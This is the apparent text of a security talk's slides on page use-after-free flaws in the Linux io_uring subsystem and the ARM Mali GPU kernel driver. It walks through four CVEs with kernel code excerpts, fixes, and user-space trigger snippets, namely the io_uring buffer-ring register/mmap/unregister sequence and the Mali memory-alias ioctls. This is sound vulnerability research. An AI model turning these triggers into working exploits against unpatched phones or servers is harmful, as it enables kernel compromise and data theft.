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● Page Use-After-Free
○ A new type of memory corruption vulnerability in the kernel
○ Bypasses existing defenses

● Latest real-world bugs
○ Linux io_uring

■ Dangling PTE (CPU mapping) (CVE-2024-0582)
○ Mali GPU driver

■ Dangling PTE (CPU mapping) (CVE-2024-1065)
■ Dangling ATE (GPU mapping) (CVE-2024-0671)
■ Insufficient cache invalidation (CVE-2023-4272)

● Future work

Overview
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What is Memory Corruption?
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What is Memory Corruption?
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Attack and Defense Techniques
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Page use-after-free

● Page table is managed by the kernel
● Invalid page mapping between VA and PA

○ Cause 1: Kernel memory corruption à Corrupt page table (Page table is kernel data too!)
○ Cause 2: Dangling page mapping vulnerability in the kernel
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Dangling Mapping Bugs
Dangling ATE  /  Dangling PTE   / Insufficient Cache/TLB Invalidation



CVE-2024-0582: io_uring page UAF via buffer ring mmap

struct io_uring_buf_reg reg = {
.ring_entries = 1,
.bgid = 0,
.flags = IOU_PBUF_RING_MMAP

};
// 1. allocate a page - __get_free_pages()
syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, &reg, 1);

// 2. map the page to the user space (PFNMAP) - remap_pfn_range()
void *pbuf_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd,
IORING_OFF_PBUF_RING);
printf("pbuf mapped at %p\n", pbuf_mapping);

// 3. free the page - folio_put()
struct io_uring_buf_reg unreg = { .bgid = 0 };
syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, &unreg, 1);
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CVE-2024-0582: io_uring page UAF via buffer ring mmap

// 1. allocate a page - __get_free_pages()
syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, &reg, 1);
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static int io_alloc_pbuf_ring(struct io_uring_buf_reg *reg,
struct io_buffer_list *bl)

{
...
ptr = (void *) __get_free_pages(gfp, get_order(ring_size));
if (!ptr)

return -ENOMEM;
bl->buf_ring = ptr;
...

}
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CVE-2024-0582: io_uring page UAF via buffer ring mmap

// 2. map the page to the user space (PFNMAP) - remap_pfn_range()
void *pbuf_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED,

uring_fd, IORING_OFF_PBUF_RING);
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static __cold int io_uring_mmap(struct file *file, struct
vm_area_struct *vma)
{

...
return remap_pfn_range(vma, vma->vm_start, pfn, sz, vma-

>vm_page_prot);
}
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CVE-2024-0582: io_uring page UAF via buffer ring mmap

// 3. free the page - folio_put()
struct io_uring_buf_reg unreg = { .bgid = 0 };
syscall(__NR_io_uring_register, uring_fd, IORING_UNREGISTER_PBUF_RING, &unreg, 1);
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static int __io_remove_buffers(struct io_ring_ctx *ctx,
struct io_buffer_list *bl, unsigned nbufs)
{

...
if (bl->is_mapped) {
i = bl->buf_ring->tail - bl->head;
if (bl->is_mmap) {

folio_put(virt_to_folio(bl->buf_ring));
...

}
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The fix

https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c392cbecd8eca4c53f2bf50873
1257d9d0a21c2d
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https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c392cbecd8eca4c53f2bf508731257d9d0a21c2d


● GPU accesses memory through IOMMU (or GPU’s MMU) based on the GPU page table
● Attacker in the user program can

i) interact with the kernel to trigger kernel vulnerabilities and
ii) run CPU and GPU programs

CPU+GPU Threat Model
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1. Dangling PTE (CPU page table entry)
2. Dangling ATE (GPU page table entry)
3. Insufficient Cache/TLB invalidation

Page UAF in kernel GPU drivers
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● Mali GPU
○ Smartphone GPU from ARM
○ Used by Google Pixel, Samsung Galaxy, Vivo X series, etc

● Kernel GPU driver functionalities
○ Map GPU page
○ Map GPU page to the user
○ Import user page into the GPU
○ …
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Kernel GPU driver



CVE-2024-1065: Dangling PTE by broken state machine
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CVE-2024-1065: Dangling PTE by broken state machine
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CVE-2024-1065: Dangling PTE by broken state machine
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CVE-2024-1065: Dangling PTE by broken state machine
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CVE-2024-1065: Dangling PTE by broken state machine
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CVE-2024-1065: Dangling PTE by broken state machine
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CVE-2024-1065: Dangling PTE by broken state machine

● GPU page states
○ GPU_MAPPED : GPU mapped
○ DMA_MAPPED : DMA mapped
○ PINNED: Page allocated
○ EMPTY: Page freed
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kbase_gpu_munmap()



CVE-2024-1065: Dangling PTE by broken state machine

PTE is not removed on CSF build

decrement the page reference count (refcount)
→ Free page if the page refcount == 0
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The Fix

unpin page only if the page refcount is 0
(page refcount is always >0 when a 
mapping exists)
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GPU page aliasing
struct base_mem_aliasing_info alias_infos[] = {
{
.handle = {.basep.handle = gpu_va1},
.offset = 0 /*in pages*/,
.length = 1 /*in pages*/

},
{
.handle = {.basep.handle = gpu_va2},
.offset = 0 /*in pages*/,
.length = 1 /*in pages*/

}
}
union kbase_ioctl_mem_alias req = {
.in = {
.flags = 0xd/*RW for GPU, R for CPU*/,
.stride = 0x100 /* 1MB (in pages) */,
.nents = 2;
.aliasing_info = (unsigned long)alias_infos

}
};
ioctl(mali_fd, KBASE_IOCTL_MEM_ALIAS, &req);
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CVE-2024-0671: Dangling ATE with huge page alias

void *huge_native_alloc = gpu_alloc(mali_fd, 0x200, 0);
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CVE-2024-0671: Dangling ATE with huge page alias

2MB

struct base_mem_aliasing_info alias_infos[] = {
{
.handle = {.basep.handle = huge_native_alloc},
.offset = 0 /*in pages*/,
.length = 1 /*in pages*/

},
}
union kbase_ioctl_mem_alias req = {
.in = {
.flags = 0xd/*RW for GPU, R for CPU*/,
.stride = 0x200 /* 2MB (in pages) */,
.nents = 1;
.aliasing_info = (unsigned long)alias_infos

}
};
ioctl(mali_fd, KBASE_IOCTL_MEM_ALIAS, &req);
void *alias_va = mmap(NULL, alias_region_bytes, PROT_READ, 
MAP_SHARED, mali_fd, req.out.gpu_va);
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CVE-2024-0671: Dangling ATE with huge page alias

static int mmu_insert_pages_no_flush(struct kbase_device
*kbdev, struct kbase_mmu_table *mmut,const u64 start_vpfn,
struct tagged_addr *phys, size_t nr, …)
{  …

while (remain) {
unsigned int vindex = insert_vpfn & 0x1FF;
unsigned int count = KBASE_MMU_PAGE_ENTRIES - vindex;
struct page *p;
register unsigned int num_of_valid_entries;
bool newly_created_pgd = false;
enum kbase_mmu_op_type flush_op;
if (count > remain)

count = remain;

if (!vindex && is_huge_head(*phys))
cur_level = MIDGARD_MMU_LEVEL(2); // wrong

else
cur_level = MIDGARD_MMU_BOTTOMLEVEL; // correct
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CVE-2024-0671: Dangling ATE with huge page alias

munmap(huge_native_alloc, 0x200000);
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static int kbase_mmu_teardown_pgd_pages(struct kbase_device
*kbdev, struct kbase_mmu_table *mmut, u64 vpfn, size_t nr, …)
{

while (nr) {
unsigned int index = vpfn & 0x1FF;
unsigned int count = KBASE_MMU_PAGE_ENTRIES - index;
if (count > nr)

count = nr;
…
case MIDGARD_MMU_LEVEL(2):

/* can only teardown if count >= 512 */
if (count >= 512) {

pcount = 1;
} else { // count = 1

dev_warn(kbdev->dev,
"%s: limiting teardown as it tries to do a 

partial 2MB teardown, need 512, but have %d to tear down",
__func__, count);

pcount = 0; // # of ATE entry to delete
}

munmap(alias_va, alias_region_bytes);
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The Fix
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mmu_insert_pages_no_flush()



DMA Cache Coherency
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DMA Cache Coherency
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imported

GPU

CVE-2023-4272: Insuccifient cache invalidation for non-page-
aligned user buffer imports

// Share 0x80B of user page between the CPU and the GPU
static int kbase_jd_user_buf_map(struct kbase_context *kctx, struct
kbase_va_region *reg)
...
pages = alloc->imported.user_buf.pages; // 4KB (1 page)
offset = address & ~PAGE_MASK; // 0
remaining_size = alloc->imported.user_buf.size; // 0x80 Byte
for (i = 0; i < pinned_pages; i++) {
unsigned long map_size = remaining_size;

dma_addr_t dma_addr = dma_map_page(dev, pages[i],
offset_within_page, map_size,
DMA_BIDIRECTIONAL);

...

User 
page
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User can read old data through GPU!



abcd

CVE-2023-4272: Insuccifient cache invalidation for non-page-
aligned user buffer imports

// Share 0x80B of user page between the CPU and the GPU
static int kbase_jd_user_buf_map(struct kbase_context *kctx, struct
kbase_va_region *reg)
...
pages = alloc->imported.user_buf.pages; // 4KB (1 page)
offset = address & ~PAGE_MASK; // 0
remaining_size = alloc->imported.user_buf.size; // 0x80 Byte
for (i = 0; i < pinned_pages; i++) {
unsigned long map_size = remaining_size;

dma_addr_t dma_addr = dma_map_page(dev, pages[i],
offset_within_page, map_size,
DMA_BIDIRECTIONAL);

...
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User can read old data through GPU!
e.g., Leak password
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Future work

● Automatic bug finding
○ Fuzzing
○ Static analysis

● Mitigation
○ How to prevent page uaf attack?
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